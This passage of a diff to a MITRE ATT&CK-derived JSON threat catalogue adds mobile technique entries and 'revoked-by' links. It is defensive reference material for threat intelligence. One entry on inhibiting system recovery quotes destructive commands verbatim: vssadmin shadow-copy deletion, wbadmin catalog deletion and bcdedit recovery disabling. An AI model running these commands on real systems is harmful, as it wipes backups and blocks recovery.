T1114.003" }, + { + "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", + "meta": { + "external_id": "T1631.001", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://man7.org/linux/man-pages/man2/ptrace.2.html", + "https://attack.mitre.org/techniques/T1631/001", + "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf", + "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be" + ] + }, + "related": [ + { + "dest-uuid": "b7c0e45f-0206-4f75-96e7-fe7edad3aaff", + "type": "subtechnique-of" + } + ], + "uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", + "value": "Ptrace System Calls - T1631.001" + }, { "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "meta": { @@ -8729,6 +9343,79 @@ "uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "value": "System Language Discovery - T1614.001" }, + { + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.\n\nOne method to achieve [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) is by modifying the contents of the device clipboard. Malicious applications may monitor clipboard activity through the `ClipboardManager.OnPrimaryClipChangedListener` interface on Android to determine when clipboard contents have changed. Listening to clipboard activity, reading clipboard contents, and modifying clipboard contents requires no explicit application permissions and can be performed by applications running in the background. However, this behavior has changed with the release of Android 10.\n\nAdversaries may use [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) to replace text prior to being pasted. For example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.\n\n[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) was seen within the Android/Clipper.C trojan. This sample was detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)", + "meta": { + "external_id": "T1641.001", + "kill_chain": [ + "mitre-mobile-attack:impact" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1641/001", + "https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/" + ] + }, + "related": [ + { + "dest-uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", + "type": "subtechnique-of" + } + ], + "uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", + "value": "Transmitted Data Manipulation - T1641.001" + }, + { + "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed). ", + "meta": { + "external_id": "T1481.001", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1481/001" + ] + }, + "related": [ + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "type": "subtechnique-of" + } + ], + "uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", + "value": "Dead Drop Resolver - T1481.001" + }, + { + "description": "Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1418/001) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions. ", + "meta": { + "external_id": "APP-12", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1418/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" + ] + }, + "related": [ + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "type": "subtechnique-of" + } + ], + "uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", + "value": "Security Software Discovery - T1418.001" + }, { "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", "meta": { @@ -8830,6 +9517,42 @@ "uuid": "ed730f20-0e44-48b9-85f8-0e2adeb76867", "value": "Determine Physical Locations - T1591.001" }, + { + "description": "Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information.(Citation: eset-finance) Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.(Citation: Group IB Gustuff Mar 2019) \n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)", + "meta": { + "external_id": "APP-31", + "kill_chain": [ + "mitre-mobile-attack:credential-access", + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://cloak-and-dagger.org/", + "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf", + "https://attack.mitre.org/techniques/T1417/002", + "https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf", + "https://developer.android.com/guide/components/activities/background-starts", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", + "https://www.group-ib.com/blog/gustuff", + "https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/", + "https://www.skycure.com/blog/accessibility-clickjacking/", + "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html", + "https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/", + "https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/" + ] + }, + "related": [ + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "type": "subtechnique-of" + } + ], + "uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "value": "GUI Input Capture - T1417.002" + }, { "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", "meta": { @@ -8905,6 +9628,82 @@ "uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "value": "Disk Structure Wipe - T1561.002" }, + { + "description": "Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642), factory resetting the device for [File Deletion](https://attack.mitre.org/techniques/T1630/002) and to delete any traces of the malware, disabling all the device’s cameras, or to make it more difficult to uninstall the app.\n\nDevice administrators must be approved by the user at runtime, with a system popup showing which actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.", + "meta": { + "external_id": "APP-22", + "kill_chain": [ + "mitre-mobile-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1626/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" + ] + }, + "related": [ + { + "dest-uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", + "type": "subtechnique-of" + } + ], + "uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "value": "Device Administrator Permissions - T1626.001" + }, + { + "description": "A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. \n\nThis behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker) \n\nBeginning in Android 10, changes were introduced to inhibit malicious applications’ ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application’s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app’s details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application’s details page in the system settings.(Citation: Android 10 Limitations to Hiding App Icons)(Citation: LauncherApps getActivityList)", + "meta": { + "external_id": "T1628.001", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1628/001", + "https://developer.android.com/reference/kotlin/android/content/pm/LauncherApps#getactivitylist", + "https://source.android.com/setup/start/android-10-release#limitations_to_hiding_app_icons", + "https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker", + "https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/", + "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" + ] + }, + "related": [ + { + "dest-uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", + "type": "subtechnique-of" + } + ], + "uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "value": "Suppress Application Icon - T1628.001" + }, + { + "description": "Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.\n\nAdversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal.", + "meta": { + "external_id": "APP-22", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1629/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" + ] + }, + "related": [ + { + "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "type": "subtechnique-of" + } + ], + "uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "value": "Prevent Application Removal - T1629.001" + }, { "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "meta": { @@ -8997,6 +9796,32 @@ "uuid": "2339cf19-8f1e-48f7-8a91-0262ba547b6f", "value": "Identify Business Tempo - T1591.003" }, + { + "description": "Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1637/001) (DGAs) to procedurally generate domain names for uses such as command and control communication or malicious application distribution.(Citation: securelist rotexy 2018)\n\nDGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there could potentially be thousands of domains that malware can check for instructions.", + "meta": { + "external_id": "T1637.001", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1637/001", + "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", + "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/" + ] + }, + "related": [ + { + "dest-uuid": "2ccc3d39-9598-4d32-9657-42e1c7095d26", + "type": "subtechnique-of" + } + ], + "uuid": "fd211238-f767-4599-8c0d-9dca36624626", + "value": "Domain Generation Algorithms - T1637.001" + }, { "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", "meta": { @@ -10690,6 +11515,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html" ] }, + "related": [ + { + "dest-uuid": "a91262d5-b9ff-463f-b8d2-12e4ea1eb3c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b332a960-3c04-495a-827f-f17a5daed3a6", "value": "Disguise Root/Jailbreak Indicators - T1408" }, @@ -10950,6 +11784,15 @@ "https://www.apple.com/business/docs/iOS_Security_Guide.pdf" ] }, + "related": [ + { + "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "value": "Modify System Partition - T1400" }, @@ -11240,6 +12083,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" ] }, + "related": [ + { + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "value": "Device Administrator Permissions - T1401" }, @@ -11575,6 +12427,15 @@ "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/" ] }, + "related": [ + { + "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "60623164-ccd8-4508-a141-b5a34820b3de", "value": "Domain Generation Algorithms - T1520" }, @@ -11837,25 +12698,6 @@ "uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81", "value": "Test physical access - T1360" }, - { - "description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.", - "meta": { - "external_id": "APP-26", - "kill_chain": [ - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1404", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" - ] - }, - "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", - "value": "Exploit OS Vulnerability - T1404" - }, { "description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).", "meta": { @@ -11879,6 +12721,23 @@ "uuid": "ef771e03-e080-43b4-a619-ac6f84899884", "value": "Exploit TEE Vulnerability - T1405" }, + { + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts. ", + "meta": { + "external_id": "T1640", + "kill_chain": [ + "mitre-mobile-attack:impact" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1640" + ] + }, + "uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", + "value": "Account Access Removal - T1640" + }, { "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)", "meta": { @@ -11953,6 +12812,26 @@ "uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "value": "Windows Management Instrumentation - T1047" }, + { + "description": "Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019) \n\n \n\nDue to mobile OS sandboxing, this technique is only possible in three scenarios: \n\n \n\n* An application stores files in unprotected external storage \n* An application stores files in its internal storage directory with insecure permissions (e.g. 777) \n* The adversary gains root permissions on the device ", + "meta": { + "external_id": "AUT-0", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1409", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html", + "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" + ] + }, + "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "value": "Stored Application Data - T1409" + }, { "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", "meta": { @@ -12108,6 +12987,15 @@ "https://attack.mitre.org/techniques/T1507" ] }, + "related": [ + { + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", "value": "Network Information Discovery - T1507" }, @@ -12186,6 +13074,15 @@ "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" ] }, + "related": [ + { + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "value": "Suppress Application Icon - T1508" }, @@ -12226,24 +13123,6 @@ "uuid": "57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "value": "Cloud Infrastructure Discovery - T1580" }, - { - "description": "Adversaries may use non-standard ports to exfiltrate information.", - "meta": { - "external_id": "T1509", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1509" - ] - }, - "uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", - "value": "Uncommonly Used Port - T1509" - }, { "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)", "meta": { @@ -12590,6 +13469,15 @@ "https://attack.mitre.org/techniques/T1412" ] }, + "related": [ + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "value": "Capture SMS Messages - T1412" }, @@ -12661,24 +13549,6 @@ "uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877", "value": "Determine strategic target - T1241" }, - { - "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", - "meta": { - 